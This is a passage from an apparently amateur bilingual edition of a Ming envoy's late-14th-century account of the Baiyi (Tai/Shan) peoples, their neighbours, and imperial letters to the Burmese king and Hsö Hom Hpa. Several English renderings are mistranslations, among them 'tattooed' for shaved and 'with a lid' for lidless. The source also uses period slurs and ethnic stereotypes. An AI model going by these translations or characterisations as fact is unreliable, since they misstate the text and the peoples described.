|男子衣服多效胡服，或衣宽袖長衫，不识裙袴。其首皆髡，胫皆黥。不髡者殺之，不黥者眾叱笑，比之婦人。婦人髻绾於後，不谙脂粉，衣窄袖衫，皂統裙，白裹頭，白行缠，跣足。其俗賤婦人，貴男子，耕织徭役担负之類，雖老婦亦不得少休。嫁娶不分宗话，不重处女。年未笄，听與男子私，從至其家，男母为之濯足，留五六昼，遣歸母家，方通媒妁，置财礼娶之。凡生子，貴者浴於家，賤者浴於河，數日，授子於夫，仍服劳無倦。酋長妻數十，婢百余，不分妻妾，亦無鮅忌。男女浴於河，雖翁婦叔嫂，相向無耻。子弟有職名，則受父兄跪拜。父母亡，用婦祝尸，亲邻咸馈酒肉，聚年少环尸歌舞宴樂，婦人擊碓杵，自旦達宵，數日而後葬。其棺若馬槽，無蓋，置尸於中，抬往葬所，一人執刀持前导。及瘗，其生平所用器物，坏之於側而去。 |Many men's clothes mainly imitate non-Han clothing, or they wear wide-sleeved long gowns, not knowing skirts or trousers. Their heads are all tattooed, their shins are all tattooed. Untattooed heads would be killed, and untattooed legs would be laughed at and compared to women. Women tied their hair into a topknot at the back; they are not versed in cosmetics, and their clothes are narrow-sleeved garments [jackets] and a soap-style skirt. [Her] head is wrapped in white, her body is wrapped in white, and they go barefoot. Their custom is women, commoners, noblemen, must all undertake compulsory labour service and so on. Even old women must not rest a little. Marriage does not distinguish clan or language or virginity [of women]. Before even fifteen years, they are allowed private liaisons with men. She follows him to his home, and the man's mother washes her feet. She remains there for five or six days, [she] is then sent back to her mother's house. Then they communicate with a matchmaker and buy betrothal gifts to take her as a wife [for him]. Ordinarily with the birth of a child, a nobleman bathes in the home, while commoners bathe in the river. For a few days, she gives the child to her husband and continues to dress, toil, and work without tiring. The wives of a tribal chief number ten, his slave girls can surpass one hundred, there is no distinction between wife and concubine, also there is no '''Bìjì''' ('''鮅忌''').<ref>Unsure as to what this means. The first character is a type of fish and an extremely obsolete character not used anymore. It is a compound to something about jealousy, however I do not know what this compounded term relating to jealousy might be. Preliminary thought would be, the wives do not compete, or do not dread their hierearchy? </ref> Men and women bathe in the river, even old men, women, uncles, sister-in-laws [bathing] face to face have no shame. If a child has an office title, then they will be accepted, and the father and brothers will kneel and kowtow to him. When parents die, they use women to pray for the corpse. Relatives and neighbours all make an offering of wine and meat. They assemble young people around the corpse, singing and dancing, making merry. Women strike the pestle from dawn to night, and only after a few days, they bury the dead. The coffin seems like a horse trough, with a lid; they cover the corpse in the middle. They lift and carry the coffin to the burial place; one person holds a knife and leads the way. When the burial takes place, the objects the deceased had used during their life are broken beside the burial, and then people depart. |- |} ===Ethnic Groups and customs=== {| class="wikitable" style="text-align:center; width:80%;" |+ A list of ethnic groups encountered and their traditions and general customs. |- ! scope="col" | Original ! scope="col" | Translation |- |其俗，不祀先，不奉佛，亦無僧道。小百夷居其境之東北邊，或学阿昌，或学蒲蠻，或仿大百夷，其習俗不一。 |Their customs do not offer sacrifices [to ancestors], do not revere the Buddha. There are no Buddhists and Daoists [among them]. The Lesser One Hundred Barbarians reside on the northeast border, following Āchāng ('''阿昌''') customs, following Pú ('''蒲''') customs and some imitate the Greater One Hundred Barbarians. Their customs are not the same (uniform). |- |車里，亦谓小百夷，其俗刺额、黑齒、剪發，狀如頭陀。 |[The people of] '''Chē lǐ''' ('''車里''')<ref>'''Chē lǐ''' ('''車里''') refers to the Cheli Military and Civilian Pacification Commissioners Office. It was a Tai State that located at Jinghong City in modern day Xishuangbanna in Yunnan.</ref>, are also called Lesser One Hundred Barbarians. Their customs are tattooing foreheads, blackening teeth and cutting hair. Appearing as if like ascetic monks. |- |哈刺，男女黑真黑。男子以花布为套衣，亦有效百夷制者；婦人髻在後，项系雜色珠，以娑罗布披身上为衣，横系於腰为裙（娑罗布即中國木棉布，坚厚，或织以青红纹）。仍环黑藤數百围於腰上，行缠用青花布，赤脚（蒲蠻、阿昌，事見《雲南志》）。 |'''Hā cì''' ('''哈刺'''), men and women are [both] black, truly black. Men use printed cloth<ref>g</ref> for covering themselves, also which the One Hundred bararians effectively manufacture; married women have top knots behind [their head]. It is tied at the back of their neck with various pearls and beads. '''Suō luó''' ('''娑罗''')<ref>'''Sarong''' today, however this appears to be a complex term with many copyediting issues historically, Brahmin drapes, Suoluolong, eventually describing a type of silk-cottob robe made from plant materials.</ref> are draped around their bodies as clothes, horizontally it connected at the waist and lower back as a skirt. ('''Suō luóbù pī''' ('''娑罗布披''') namely is the Chinese Cotton Tree (Bombax Ceiba) cloth, strong and thick, possibly weaved as blue, red patterns.) Yet it encircles black rattan several hundred times, wrapped at the waist and lower back, it wraps around [their leg] to be used as a blue printed cloth [as they're] barefoot. ([Used amongst the] Pú mán (蒲蠻), āchāng (阿昌), shì jiàn (事見); [according to the] The Yunnan Gazeteer<ref>Written by Fan Chuo of the 9th century, also known as 蛮书 (Barbarian Document)</ref>.) |- |古刺，男女色甚黑。男子衣服装飾類哈刺，或用白布为套衣。婦人如罗罗狀（罗罗見《雲南志》）。 |'''Gǔ cì''' ('''古刺''') [people] are coloured extremely black. The men's clothes, decorations and adornments closely resembled the '''Hā cì''' ('''哈刺'''), and they use white cloth as [outer] covering garments. Married women resemble the '''Luó luó''' ('''罗罗''') [people]. ([For the] '''Luó luó''' ('''罗罗''') see The Yunnan Gazeteer.) |- |漂人，男女衣服皆類百夷。婦人以白布缠頭，衣露腹，以红藤缠之，娑罗布为裙，两接，上短下長，男女同耕。 |Pyu people<ref>This is the last time a document mentions the existence of Pyu people, namely. The Burmese stopped mentioning them by the 12th century, as did the Persians in the 10th century. Their retention of it suggests that absorption was slower and that the Burmese and Pyu were still distinct, according to the envoys.</ref>, [the] men and women's clothes all resemble the One Hundred Barbarians. Married women wear white cloth wrapped around their head, their clothes expose their stomach/ naval. By means of red rattan winding around them, the '''Suō luó''' ('''娑罗''') [is worn] as a skirt. Two [cloths] connect, upper [cloth] is short, bottom [cloth] is long. Men and women [both] till [the fields]. |- |緬人，色黑類哈刺，男女頭上以白布缠高三四尺，衣大袖白布衫，腰以下一布通前後便缠之，貴者布長二丈余，賤者不一丈。甚善水，嗜酒。其地有树，狀若棕，树之杪有如筍者八九茎，人以刀去其尖，缚瓢於上，過一宵則有酒一瓢，香而且甘，飲之輙醉。其酒经宿必酸，炼为烧酒，能飲者可一盏。有为僧者，以黄布为袈裟，袒右手，戒行極精，午後不飲食。婦人貌陋甚淫，夫少不在，則與他人私，遂为夫婦。以白布裹頭而披花为衣。 |Burmese people, [their] colour is black like the '''Hā cì''' ('''哈刺'''). Men and women [both] on their heads have white cloth wrapping around it [aproximately] as long as three to four '''Chǐ''' ('''尺''';1.2 m-1.36 m). Their clothes are large-sleeved white cloth garments. Below the waist and lower back, one cloth goes all around to be wrapped around them. Expensive cloth is as long as two '''zhàng''' ('''丈'''; 6.2m-6.8m). Inexpensive [cloth] is not even one '''zhàng''' ('''丈'''; 3.1m-3.4m). They are extremely well-disposed to water and fond of wine. On their land, their trees appear as palm trees. They cultivate eight to nine stalks, with the tips of the leaves resembling bamboo shoots. The people take knives and cut off the tips. They bind a dried gourd ladle to it. After one night, it becomes a gourd of wine, fragrant and sweet to drink to intoxication. Their wine, undergoing [another] night, certainly becomes bitter; it gets refined into '''Shāojiǔ''' ('''烧酒''')<ref>A famous Tang Dynasty wine beverage.</ref>. [Heavy] drinkers can only drink one small cup. There are monks. Yellow cloth is used as Kasaya robes (Buddhist robes) with the right arm remaining bare. They strictly adhere to the utmost discipline. They do not eat or drink in the afternoon. Women's appearances are excessively plain, and they are promiscuous. If husbands are away briefly, they enter into relations with other men and succeed as a married couple. White cloth is wrapped around their head and draped on their shoulders in a printed way. |- |哈杜，巢居山林，無衣服，不识农业，惟食草木禽兽，善骑射。冷則抱巨石，山坡間往復奔走，以汗出为度。 |'''Hā dù''' ('''哈杜''') [people] reside in nests in mountain forests; they do not wear clothes. They have no knowledge of agriculture. Only eating vegetation and birds and creatures. They are adept at horses and archery. [When] cold, they grab a boulder and make running trips back and forth between mountainsides until they perspire out to the temperature. |- |弩人，目稍深，貌尤黑，额颅及口邊刺十字十余。 |'''Nǔ''' people ('''弩人'''; crossbowman people), [have] deep-set eyes, [their] appearance is outstandingly dark. Their forehead and mouth edges are tattooed with crosses more than ten times. |- |有结些者，從耳尖連颊皮破，以象牙为大圈，横贯之，以花布裹頭，而垂余布於後，衣半身衫，而袒其肩。婦人未详。其人居戛璃者多。 |[There] is some knotted "Zo" people<ref>This translation is messy. However, it is the first use of the Zhexie/Jiexie term, which was popularised during the Qing era. However, this early, 些 Xie was actually Suo, like the Mosuo people. Hence, the name appears to be a misrendering of Zo people from an intermediary translator, possibly.</ref>, from the tips of the ears to the cheeks, the skin is pierced. Using ivory as a large ring, they pass it horizontally through [the pierced skin]. Printed cloth is wrapped around the head and hangs down onto their back as a partially wrapped robe and bears their shoulders. Nothing is known/reported concerning the women.<ref>Likely possibly meaning that the women are indistinguishable from men. An observation echoed by the British of the Zo people during the colonial era.</ref>. Many of these people habitat at '''Kalay'''. |- |諸夷言语習俗雖异，然由大百夷为君長，故各或效其所为。夷人有名不讳，無姓。 |Although the various barbarian languages and customs are different, they follow the Greater One Hundred Barbarians as their central ruler. Therefore, possibly each group imitates that they do. The Yi people have names but observe no naming taboos; they have no surnames. |- |無医卜等书。不知时节，惟望月之盈亏为候。有事惟鸡卜是决。疾病不知服药，以姜汁注鼻中。病甚，命巫祭鬼路側，病疟者多愈，病熱者多死。地多平川沃土，民一甸率有數十千户，眾置貿易所，谓之街子。婦人用锄地，事稼穑，地利不能尽，然多产牛、羊、鱼、果。 |There are no books on medicine and divination. They are unaware of seasons. Only the moon in its waxing and waning is observed. For matters, a chicken is used for divination. For diseases they do not know how to take medicine. They pour ginger juice into their noses. For extreme sickness, the shaman offers spirit sacrifices next to the road. Those suffering from malaria are likely to recover. Those with a fever are more likely to die. The land is flat with plains and fertile, the people of a district can lead up to ten thousand households. They install commercial trade posts known as ''street markets'' ('''街子'''; Jiē zǐ). Women hoe and weed the soil and [attend] matters to do with sowing and reaping. The productivity of land cannot be exhausted, as there are many ox, sheep, fish and fruits. |- |其气候：春夏雨，秋冬晴，腊月亦如春，昼暄夜冷，晓多烟雾，無霜，春秋烟瘴甚盛。 |Their climate: In spring and summer, it rains. In autumn and winter, it is clear. In the 12th Lunar month ('''December-Feburary''') it feels like spring. The daytime is warm, and the nighttime is cold. At dawn, there is a lot of fog. They have no frost. Spring and Autumn miasma carries an excessive level of malaria. |- |其飲食之异者：鳅、鳝、蛇、鼠、晴蜓、虫负、蛟、蝉、蝗、蚁、蛙、土蜂之類以为食；鱼肉等汁暨米汤信宿而生蛆者以为飲。 |Their food and drink are unusual in the following ways. Loach, eels, snakes, dragonflies, insects, aquatic animals, cicadas, locusts, ants, frogs, and scoliod wasps are all types of food. They drink the juice of fish, meat, and rice gruel, which, over two nights, gain maggots, which are eaten. |- |其草木禽兽之异：草則秋間數十百株结为一聚，地产此草，烟瘴尤甚。树木多有三四株结为連理。有大如斗之柑，有鲇頭鲤身之鱼，水牛頭黄牛身之牛，绵羊頭山羊身之羊。雄鸡多伏卵，亦有生卵者。者闌有一池，沸如汤，人多投肉熟之。 |Their plants and animals are unusual: in autumn, their grass joins from hundreds of stalks to cluster. The land these grasses grow on has an excessively strong malarial miasma. Trees often produce multiple stumps in a fusion. There are large tangerines as large as dippers. There is [a] fish with a sheatfish head and carp bodies. There are oxen with water buffalo heads and yellow ox bodies. There are sheep with sheep heads and mountain goat bodies. Roosters brood over eggs, there are also [males] that lay eggs. At '''Zhě lán''' ('''者闌''')<ref>On the Shan Myanmar and China border near Muse.</ref>, [the size of] ponds for boiling soup. People often cast mature meat in it. |- |境内所产珍物：雅琥、琥珀、犀、象、鹦鹉、孔雀、鳞蛇、脑、麝、阿魏、金、銀、玻璃之類。 |Within its borders are the following precious items it produces: elegant amber, amber, rhinoceros, elephant, parrots, peacocks, snake scales, brains, musk deer, Resina Furelae, gold, silver, glass types of products. |- |其山水险隘。北有高良弓山，横亘二百余里，高五十余里，與怒江相倚。西有馬安山，山有一关，若一人守关，萬夫难入。東为麓川江，可通舟楫。南與金沙江合而入於西海。南下交趾界。金沙江之南，有東胡、得冷、緬人三國。緬之西即西天也。 |The mountains have narrow, dangerous river passes. North there is the Gaoligong Mountains, it horizontally extends two hundred '''Lǐ''' ('''里'''), and is tall as five hundred '''Lǐ''' ('''里''') right next to the '''Nùjiāng''' ('''怒江'''). West is the '''Mǎ'ān Mountain''' ('''馬安山'''). The mountain has one mountain pass. If one person guards the pass, then ten thousand will struggle to enter. East is the '''Lù chuān River''' ('''麓川江'''). You can pass it in an oarboat. South is the '''Jīnshā River''' ('''金沙江''') which enters at the western sea. South it borders '''Jiāozhǐ''' ('''交趾'''; Vietnam). Further south of the '''Jīnshā River''' ('''金沙江''') are the three polities, which has '''Dōnghú''' ('''東胡'''； Eastern Barbarians), '''Dé lěng''' ('''得冷'''; Derung people) and '''Miǎn people''' ('''緬人'''; Burmese people). West of Burma lies the Western Regions<ref> A term for India and Central Asia, which were Buddhist.</ref>. |- |緬國古舍利國，又名狮子國，多佛塔。緬國與夷連歲横兵。洪武之亥冬，緬人诉於朝。丙子春，皇帝遣臣古训及桂阳李思聪至两國，諭以睦邻之义。 |Burma, formerly the '''Shèlì country''' ('''舍利'''), also known as the Lion Country, is filled with pagodas. Burma and the Yi Barbarians were in continuous warfare for years. During the reign of the Hongwu Emperor in the winter of the year of the boar ('''1395 A.D.'''), Burma issued a royal complaint. In Spring of the Year of the Rat, ('''1396 A.D.'''), the Emperor dispatched official Guxun and Li Cong of Guiyang to the two countries to order them to get on well as neighbours with righteousness. |- |} ===Statements and Relations between the Kingdoms=== {| class="wikitable" style="text-align:center; width:80%;" |+ Outcome of the envoys mission and political relations between Shans and Burmese. |- ! scope="col" | Original ! scope="col" | Translation |- |其諭緬國王曰： |In it, I addressed the King of Burma, saying: |- |『里路险遠，山川阻修，风殊俗异，此乃天造地設也。尔能勤使者，涉险遠，越邻邦以至中夏，其使者之难，冲烟突雾，晨進昏止，饥餐渴飲，吞吐烟岚，异风霜而方至。其为使者，不亦难乎！古人有云：诚君子將有事於遠，友千里之外，神交而志通。今萬里之外，尔能勤使而至，遠修其好，美絕古而惟今。然排难解纷之事，朕之旨意，恨不一言而正，使彼此各罢兵守，樂黎民於市野，民居共处，砃相邻而同井飲，籍雖两國之民，居处难分，惟存关市有讥，是其和也。若尔緬不主衅，夷不强凌，如此，雖弱自保，以奉天道。其或不听朕命，忿争不已，天將昭鉴，福善祸淫，迟速可待。鯩至，朕不多诫。但诚可以交天人，尔其审之，母忘朕諭。』 |The roads are dangerous, and far, mountains and rivers are obstructive and long. Their social ways and customs are different. This is what heaven and earth have established. Yet you are able to diligently [carry out your duties as an] envoy. Taking risks far, passing neighbouring countries to the Chinese heartland. Clashing with smoke, dashing through mist. Advancing at dawn and stopping at twilight, eating when hungry and drinking when thirsty. Breathing in and exhaling mountain vapours, enduring unfamiliar winds and frost before finally arriving. To be an envoy was this not difficult? The ancient people have a saying: <em>Truly, when a gentleman has affairs to undertake in distant places, he has friends a thousand <strong>Lǐ</strong> (<strong>里</strong>)， their spirits commune in spirit and their intentions are mutually understood.</em> Now ten thousand '''Lǐ''' ('''里''') away, you can diligently envoy and arrive, from afar cultivate their friendship. However, regarding the matter of resolving difficulties, this is my intention. I lament that I cannot settle the matter in a single utterance as to cause both sides to cease war and guard their territory so that the common people might enjoy marketplaces and countryside. Let the people coexist [as] neighbours of white stone who drink from the same well. Although registered as the people of two countries, their dwellings are difficult to distinguish. Only the inspections at frontier markets will remain. This would be peace between them. If the Burmese do not initiate hostility, and the '''Yi''' do not forcefully oppress you, in this way, althought [one is] weak it may defend itself, as to follow the law of heaven. If they do not listen to my order, angry contention will not cease; heaven will see it clearly. Blessed will the good, and calamity will be brought on the transgressor, quick or slow; the consequences will come. <strong>Lún</strong> (<strong>鯩</strong>) arriving, I will not elaborate further; only sincerity can bring one into accord with heaven and humanity. You must consider this; do not forget my instruction. |- |諭思侖發曰： |Above '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) spoke: |- |『朕中國先古圣人，驭顽礼德，各有条章。是条章也，列圣相继，守而行之，上下相安，黔黎樂业。何也？諸侯敬畏，世禄子孙，國祚绵長，乃九伐之功驗也。列國敢有凭弱犯寡者，天子發兵以眚之；贼贤害民者，亦發兵以伐之；暴内凌外，則兴師以坛之；野荒民散，則用兵以削之；负固不服，則舉兵以侵之；贼殺其亲，則正其罪以殺之；放弑其君，則明其罪以诛之；犯令凌政，則杜而絕之；内外乱，鸟兽行，則殄灭之。九伐之征如是也。尔思侖發，以中國较之，合问凭弱犯寡之由。何以見？歲以兵寇車里，不时侵掠八百，恃强犯緬；戛璃國小民寡，而已平之，斯说也，不過告诫之词。中國周临四夷，與諸酋長地里相接，居民亦相密迩，如此者，耳闻之邦若干，目擊之邦若干，朕未嘗恃强凭凌，絕灭其嗣者。雲南之地，已为我有，似乎尚强以取之，非也！乃元世子孙梁王者，恃元之苗裔，匿我有罪，納我逋逃，诱我邊守，是乃不得已而發问罪之師，非無故而兴師。此乃元运天更，其苗裔不当安处。况生事於我邻邦，其理势使然，夷如反掌。尔麓川之蠢，初擅兴金齒之役，次谋景東而寇定邊，理当大發精兵而较胜负。朕释而不较，未嘗强尔为約束之邦，听尔自为声教，今又几年矣。近闻蚕食邻邦，意在扩土地而擅有其眾，又將为我西南之役。噫，未可！古中國圣人有云：‘山川地理人物之類，乃神器也，非人强有，必天授然後得之’。尔思侖發不修邻邦之好，三面發兵，蚕食諸國，其贪也如是，其谋也如是。彼麓川周临之國，始古至今，各有主者，未嘗吞并。朕雖不能止尔，听尔自为，果天道使然，尔以人事应之，或为而可。噫！以朕戒尔守全則可，不守全而以全动，設若全亏，是为全亡，莫如守全以圖绵長，不亦美乎？』 |The ancient sages of my Middle Kingdom governed the unruly through ritual propriety and moral virtue, each had rule and regulations. These rules and regulations were arranged in successive order to preserve them and put them into practice. Those above and below lived in mutual harmony. The common people enjoyed their livelihoods. Why is that? Local rulers revered [central authority], the descendants inherited their stipends and ranks, the state's fortunes endured for a long time. Thus [these] were the proof of the achievements of the Nine expeditions. Various states that dare to rely on strength to attack the weak, the Son of Heaven would send troops to punish them. Those who harm the worthy and injure the people would likewise be militarily punished. If a ruler oppressed those within and bullied those without, an army would be raised to subdue him. If the countryside lay waste and the people were scattered, troops would be employed to reduce it. If a state relied on its strong defences and refused submission, troops would be raised to invade it. If [a ruler] murdered his own kinsmen, his crime would be formally established with guilt and [thus] be put to death. If a subject expelled or murdered his ruler, his crime would be made manifest, and he would be executed. If a state violated commands and defied government authority, it would be blocked off and cut off. If there were disorder both within and without, and people behaved like birds and beasts, they would be utterly destroyed. Such were the circumstances and punishments of the Nine Punitive Expeditions. You, '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa), measured against China , it is fitting to ask the reason why you rely upon strength to attack the weak. How is this evident? Year after year, [you] have used troops to raid '''Chēlǐ''' ('''車里''') and at irregular times invaded and plundered the Eight Hundred.<ref>Short hand for Eight Hundred Wives and Daughters in Laws Country, the old name for Laos or Lan Na. </ref> [Hence] presuming upon your strength to attack Burma. The '''State of Kalay''' is small, and the population is few, and you have already subdued it. This is the account [I have given]. It is nothing more than words of admonition. China borders the "Four Barbarians"<ref>Four Barbarians: North - Di, East - Yi, South - Man and West - Rong. </ref> Its territory adjoins that of various chiefs, their populations live in close proximity. Of such states, there are some which I know by report, and some which I have seen with my own eyes, I have never relied on my strength to domineer over them, or extinguished their line of succession. The territory of Yunnan belongs to me, it might seem that I nevertheless used force to take it, but that is not so! Rather, a descendant of the Yuan Imperial House, Prince of Liang, relying on his Yuan Royal heritage, concealed those who committed offences against me and harboured my fugitives and enticed my frontier defenders to defect. Precisely for this reason, I had no alternative but to send a force and call for an offence with an army to carry out [that purpose]. I did not raise an army without cause. This was because the fortunes of the Yuan had changed by heaven's decree, and its descendants were no longer entitled to remain securely established there. Moreover, he [Prince of Liang] has caused trouble among my neighbouring states; the circumstances and principles made the outcome inevitable, and their subjugation was as easy as turning over one's hand. As for you, foolish '''Lùchuān''' ('''麓川'''), you first took it upon yourself to launch the Gold Teeth campaign, next you plotted against '''Jǐngdōng''' ('''景東''') and raided '''Dìngbiān''' ('''定邊'''). By right, this called for the dispatch of a large force of elite troops to determine the victor and vanquished. I released you and did not press on the matter. I have never compelled you to become a subordinated state. I allowed you to establish your own institutions and customs, and now several years have passed. You have been gradually encroaching upon neighbouring states with the intention of expanding your territory and taking possession of their people on your own authority, and will thereby be a cause of war for me in the southwest. Alas, this cannot be! The ancient sages of China have a saying: The mountains and rivers, the land and the people are all such things as constitute the Divine Realm; they cannot be forcibly possessed by men - only when heaven bestows them may they be obtained. You '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) do not cultivate friendly relations with your neighbouring states, you send troops on three fronts and gradually encroach upon the various states, such is your greed and such is your scheme. The states surrounding '''Lùchuān''' ('''麓川''') have, from ancient times to the present, each had their own rulers; they have never been swallowed up and annexed. Although I cannot prevent you, I have allowed you to act for yourself. If indeed this has brought about the Way of Heaven, you must respond to it through human affairs; perhaps what you do will thereby be acceptable. Alas! If, in accordance with my admonition, you preserve what is whole, then that is acceptable. But if you do not preserve it intact, and instead stake the whole upon action, suppose, however, that the whole is impaired, that would mean the whole is lost. Better yet, then, to preserve the whole and thereby seek lasting continuity. Would that not be admirable? |- |由是二國罢兵和好。 |because of the truth, the two countries ceased war and reconciled. |- |时古训等适遇百夷其部下酋長曰刀干孟者叛其國，余等以大义諭其部眾，而叛者闻之稍却。於是，思侖發欲留余等以为援，且進以金寶象馬等物，故余以书示之曰： |At the time, Guxun, happened to encounter One Hundred Barbarians subordinate chief named '''Dāo gànmèng''' ('''刀干孟''') betray the country. We and the others explained/instructed his followers on the basis of the great principle/righteous cause and as a result, the rebels hearing it gradually withdrew. As a result, '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) wished to preserve us as a source of assistance. He offered gold, valuables, elephants, horses and other gifts. Hence I presented this letter to reveal to him saying: |- |『吾闻君上有怀遠之德，遠臣有敬上之心，始古迄今，莫违此义。夫君居九重之上，雖欲顷刻目尔遠臣，未可得也，臣处萬里之外，即欲朝暮身亲君上，亦未易得也。故朝廷有將命之官，使之宣德布威；而遠方有承命之宜，期其輸忠納款。今天子应天顺民，奉天为治，四维八極，尽为臣妾，無有专擅，不敢违逆。西南一区，夷酋亦眾，惟尔麓川，多蒙恩宠，既受以官，復加以服。况贤王亲临尔境，而德惠數及尔身。为尔计，則將度其心，量其才，何为而可以尽忠天子，何为而可以致敬贤王，又何为而可以安邊境而不干天怒，又何为而可以教百姓而不违法度？借曰邊境不安，必思曰，我事上未忠或未至，而眾不服我耶？百姓违法，必思曰，我守職已或有僭而民亦犯上耶？於是我則尽其忠，去其僭，如此，則邊境自安，人民從教矣。且吾以尔目擊效驗明之：往年思瓦發不服朝廷，轻犯金齒，天子雖未问罪，天則假手於達鲁方等，而思瓦發被戮。刀思朗不從尔命，窃寇定邊，尔雖未能息其兵，天則助威於我邊將，而刀思朗等即灭。惟尔知天命，達人理，故能享天禄，守人爵。迩来天子恐尔所为，或涉放肆，特敕諭以戒之；贤王恐尔無知，或生疑懼，特令旨以恤之。此恩此德，穷天極地。尔之披肝露胆，开心見诚，吾尽見矣；尔之尊重朝廷，敬奉殿下，告亦見矣。今尔固留吾辈，其意本美。近者尔甸寨少宁，刀干谋异，吾將回朝为尔明白其事，尔乃留我，使我不速還朝，假如刀干鸣尔留难天使之非於朝，則反误尔敬君之心矣。且尔赠以金、銀、裀褥、馬、象等物，吾固不受者，非見怪也，實相爱也。何則？朝廷恩尔，抚安尔邦，未嘗令使者取货於尔也。夫货财，饥不可以充口，疾不可以救死。况中國金玉成山，象馬若蚁，未以为寶也，惟所寶者，圣君、明王、忠臣、烈士、强兵、勇將、孝子、顺孙等事，其他财物，如粪土耳。姑以尔境内眾所闻者明之：昔隋史萬歲守邊，夷而贪财，以致殺身。梁毗一金不受，而大服夷眾。此事甚白。吾为圣朝天使，必不为财物所蛊，惟恐吾之使令往来小人，不体吾意，蛊惑尔心，特此叮咛。尔其备审此书，体吾真意，早送吾辈還朝，則尔敬君之心，不浅浅也。』 |I have heard that a ruler above possessed the virtue of cherishing those who are far away. Those distant subjects have a heart of reverence to their ruler above. From the beginnings of ancient times until now, none have deviated from this principle. The ruler resides above the Ninefold Gates, although he wishes to see you, his distant subject, even for a moment, this cannot be done. I, your servant [of the Emperor], reside ten thousand '''Lǐ''' ('''里''') away. Even if I wanted to be personally close to my ruler morning and evening, that too would not be easy to achieve. Therefore, the imperial court has officials who carry its commands, sending them to proclaim its virtue and make its authority manifest, while distant polities obey the commands and fulfil their duty, in expectation that they will render their loyalty and submit their allegiance [to the Emperor]. Now the Son of Heaven responds to Heaven and follows the people, governing in accordance with Heaven. Throughout the four quarters and the eight extremities, all are subjects, none acts autonomously, and none dares to oppose [the imperial order]. In the southwestern region, the chiefs of the Yi people are also numerous, but you, <strong>Lùchuān</strong> (<strong>麓川</strong>), have received especially abundant imperial favour; having already been granted an official position, you were furthermore granted the appropriate dress. Moreover, the worthy king personally came to your territory, and his benevolence and favour have repeatedly extended to you personally. For your own sake, you should consider your intentions and measure your abilities. What can you do that will enable you to fulfil your loyalty to the Son of Heaven? What can you do that will enable you to show proper respect to the worthy king? What can you do to keep the frontier peaceful without incurring heaven's anger? And what can you do to govern the common people without violating the laws and regulations? Suppose, for argument's sake, the frontier were to become unsettled, you must think yourself: "Perhaps I have not been sufficiently loyal in serving my superior, and that is why people do not submit to me?" If the common people violate the law, you should think: "Perhaps, although I have maintained my office, I have in some way overstepped my proper station, and thus the people too are offending against their superior? Then I would fully fulfil my loyalty and remove any acts of overstepping I had committed; in this way, the frontier will naturally become peaceful, and the people will follow proper instruction. Moreover, I shall make this clear to you through examples that you yourself have witnessed. In the past years, '''Sīwǎfā''' ('''思瓦發'''; Hso Vau Hpa) refused to submit to the court and rashly attacked the Golden Teeth. Althought the Son of Heaven did not call hbim to account, Heaven nevertheless acted through the hands of '''Dálǔfāng''' '''(達鲁方'''), and the others and '''Sīwǎfā''' ('''思瓦發'''; Hso Vau Hpa) was killed. '''Diāosīlǎng''' ('''刁思朗''') did not obey your command and secretly raided '''Dìngbiān''' ('''定邊'''). Althought you were able to bring his hostilities to an end, Heaven then lent its might to my frontier commanders and '''Diāosīlǎng''' ('''刁思朗''') and the others were immediately destroyed. It is because you understand the Mandate of Heaven and comprehend principles of human affairs that you can enjoy heaven's emoluments and preserve your human rank. Recently, the Son of Heaven feared that what you were doing might become excessive, and specially issued this admonition to warn you; the Worthy King feared that your lack of understanding might give rise to doubt and fear, and specially sent his instructions to show you compassion. Such grace and such benevolence extend to the furthest reaches of Heaven and Earth. You're laying your heart completely bare, showing your sincerity, I have seen it all. [Your] respect for the imperial court [and] reverant service of the Emperor has been reported as well. Now you firmly retain our party, itself well-intentioned. Recently, your districts and stockards have enjoyed peace, while '''Dāo''' '''Gàn''' ('''刀干''') have conceived some other designs. I was going to return to court to make the matter clear on your behalf, yet you have kept me here, causing me not to return promptly to court. Suppose <strong>Dāo Gàn</strong> (<strong>刀干</strong>) were to report to the court your offence of detaining and obstructing the imperial envoy, then that would compromise your sincere respect for your ruler. Moreover, you presented us with gold, silver, padded mats, bedding, horses, elephants, and other such things, my refusal to accept them is certainly not because I take offense. The court has shown you favour and pacified your realm. It has never instructed its envoys to take goods from you. Regarding wealth and possession, when one is hungry, they cannot fill the mouth; when one is sick, they cannot save one from death. Besides, in China, gold and jade are piled as high as mountains, while elephants and horses are as numerous as ants; we do not regard these things as treasures. What we do treasure are the deeds of sage rulers, enlightened kings, loyal ministers, righteous men, strong armies, brave generals, filial sons, dutiful grandsons and things of this kind. All other material possessions are like dung and earth and nothing more. For the moment, by means within your territory, what the people commonly hear that which should be clear. In former times, <strong>Shǐ Wànsuì (史萬歲)</strong> guarded the frontier; he was greedy in dealing with the tribes and thereby brought about his own death. '''Liáng Pí''' '''(梁毗''') did not accept even a single piece of gold, thereby greatly earning the respect of the Yi people. The matter is very evident. I am an imperial envoy of the sacred dynasty; I certainly cannot be corrupted by material wealth. I only fear that petty men among those who travel back and forth on my missions do not do not consider my intentions and instead mislead or corrupt the mind. For this reason, I have given you special admonition. You should carefully examine this letter in full and understand my true intention. Send us back to court promptly, then your heart of reverence for the ruler would not be so shallow. |- |书至，思侖發悦服，遂邀至其家，設宴畢，與其眾送出境外。 |When the letter arrived, '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) was pleased, and received it favourably. Thereupon invited him to his home. After the banquet, together with his retinue escorted them beyond the borders. |- |百夷，由金齒、蒲漂過怒江即其境。沿江東數十里，上有高良弓頗险。其岭有一寨。過一寨下四十里，地名养列，自此抵麓川無险隘之虞。由麓川经蠻牛、莽港等路，渡谨卯，從蒙戛等甸至麻林界，登金沙江之舟，下流二十日至緬國。國王眾呼为卜剌浪，王之妻呼为米泼剌。 |The One Hundred Barbarians, via the Gold Teeth, '''Pú''' ('''蒲'''), '''Pyu people''', upon crossing the '''Nùjiāng River''' ('''怒江''') reach their territory. Along the river, east about ten <strong>Lǐ</strong> (<strong>里</strong>), there is the tall, rugged, dangerous Gaoligong [mountains] above. The mountain range has one stronghold. Passing a stronghold, below forty '''Lǐ''' ('''里''') is a place named '''Yǎng liè''' ('''养列'''), since then reaching the '''Lùchuān''' ('''麓川''') there is no concern of dangerous narrow passes. Following '''Lùchuān''' ('''麓川''') pass through the routes of '''Mánniú''' ('''蠻牛'''), '''Mǎnggǎng''' ('''莽港''') and other places, crossing '''Jǐnmǎo''' 